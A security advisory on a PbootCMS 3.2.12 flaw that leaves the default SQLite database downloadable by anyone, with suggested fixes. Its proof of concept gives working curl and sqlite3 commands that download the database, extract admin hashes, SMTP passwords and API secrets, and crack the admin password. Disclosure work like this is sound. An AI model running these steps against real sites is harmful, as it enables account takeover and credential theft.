PbootCMS 3.2.12 SQLite Database File Disclosure
Title: SQLite Database File Disclosure Vulnerability in PbootCMS ≤ 3.2.12#
BUG_Author: pemic
Affected Version: PbootCMS ≤ 3.2.12
Vendor: PbootCMS Official
Software: PbootCMS GitHub Repository
Vulnerability Files:
config/database.php(default database path configuration)apps/admin/controller/IndexController.php(incomplete protection mechanism)
Description:#
A critical information disclosure vulnerability exists in PbootCMS when using the default SQLite database configuration. The SQLite database file is stored in a web-accessible directory (/data/pbootcms.db) and can be directly downloaded by unauthenticated remote attackers. The database contains sensitive information including administrator credentials, user data, and system configuration.
Vulnerability Analysis:#
Root Cause:
The default database configuration stores the SQLite file in
/data/pbootcms.db:
// config/database.php, line 22
'dbname' => '/data/pbootcms.db'The
/data/directory is web-accessible and contains no access restrictions (no.htaccessfile to deny access to.dbfiles).The provided
.htaccesstemplate in/rewrite/.htaccessonly contains URL rewriting rules and does not restrict access to database files.
Incomplete Protection Mechanism:
PbootCMS implements an auto-rename mechanism in
apps/admin/controller/IndexController.php, lines 54-67:
if (get_db_type() == 'sqlite') {
if (strpos($this->config('database.dbname'), 'pbootcms') !== false) {
if (get_user_ip() != '127.0.0.1' && $this->modDB()) {
$dbsecurity = true;
} else {
$dbsecurity = false;
}
} elseif (file_exists(ROOT_PATH . '/data/pbootcms.db')) {
rename(ROOT_PATH . '/data/pbootcms.db', ROOT_PATH . '/data/' . get_uniqid() . '.db');
}
}This protection only triggers when an administrator successfully logs in and accesses the backend homepage (
/admin/Index/home).Critical flaw: Before the first admin login, the database remains accessible with its default predictable filename.
Attack Window:
From the moment of deployment until the administrator's first backend login, the database file is exposed.
On localhost (127.0.0.1), the auto-rename never triggers, leaving development environments permanently vulnerable.
Proof of Concept:#
Prerequisites:
Target site uses SQLite database (default configuration)
Administrator has not yet logged into the backend homepage after deployment
OR target is accessible via localhost (127.0.0.1)
Step 1: Verify database file accessibility
curl -I "http://<target>/data/pbootcms.db"
Expected response:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 503808
Step 2: Download the database file
curl -o stolen.db "http://<target>/data/pbootcms.db"
Verify the downloaded file:
file stolen.dbExpected output:
stolen.db: SQLite 3.x database, last written using SQLite version 3034001Step 3: Extract administrator credentials
sqlite3 stolen.db "SELECT id, username, password FROM ay_user;"
Expected output:
1|admin|14e1b600b1fd579f47433b88e8d85291
Step 4: Crack the password hash
The password is hashed using double MD5: md5(md5(password))
# Verify: The hash 14e1b600b1fd579f47433b88e8d85291 corresponds to password "123456"
php -r "echo md5(md5('123456'));"
Output:
14e1b600b1fd579f47433b88e8d85291
Step 5: Login to admin panel with extracted credentials
URL: http://<target>/admin.php
Username: admin
Password: 123456
Sensitive Data Exposed:#
The SQLite database contains the following tables with sensitive information:
| Table | Sensitive Data | Risk Level |
|---|---|---|
ay_user | Admin usernames and password hashes | Critical |
ay_member | Member accounts and credentials | Critical |
ay_config | SMTP passwords, API secrets | High |
ay_message | User submitted messages with personal info | Medium |
ay_site | Site configuration | Low |
Example: Extracting additional sensitive data
# List all database tables
sqlite3 stolen.db ".tables"
# Extract SMTP configuration
sqlite3 stolen.db "SELECT name, value FROM ay_config WHERE name LIKE '%smtp%';"
# Extract API secrets
sqlite3 stolen.db "SELECT name, value FROM ay_config WHERE name LIKE '%secret%' OR name LIKE '%key%';"
# Count member accounts
sqlite3 stolen.db "SELECT COUNT(*) FROM ay_member;"
Impact:#
An unauthenticated remote attacker can:
Download the complete database containing all website data
Extract administrator credentials and gain full backend access
Access member/user personal information (privacy breach)
Retrieve email server credentials (SMTP password) for further attacks
Obtain API keys and secrets for third-party service access
Fully compromise the website without any authentication
Tested Environment:#
| Component | Version |
|---|---|
| PbootCMS | 3.2.12 |
| PHP | 7.4.33 |
| SQLite | 3.34.1 |
| Web Server | Apache 2.4.54 |
| Operating System | Debian (Docker) |
Suggested Fix:#
Option 1: Add .htaccess protection for data directory
Create /data/.htaccess:
<Files ~ "\.db$">
Order allow,deny
Deny from all
</Files>
Option 2: Move database outside web root
Modify config/database.php:
'dbname' => '../private/pbootcms.db' // Store outside web root
Option 3: Use random database filename from installation
Modify the installer to generate a random database filename during initial setup, rather than relying on post-login rename.
Option 4: Implement pre-login protection
Add database access check in core/init.php or entry files to rename the database before any user interaction.
Timeline:#
2025-12-19: Vulnerability discovered during security audit
2025-12-19: Proof of concept developed and verified
2025-12-19: Report submitted to VulDB
References:#
PbootCMS Official Website: https://www.pbootcms.com/
PbootCMS Gitee Repository: https://gitee.com/hnaoyun/PbootCMS
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-219: Storage of File with Sensitive Data Under Web Root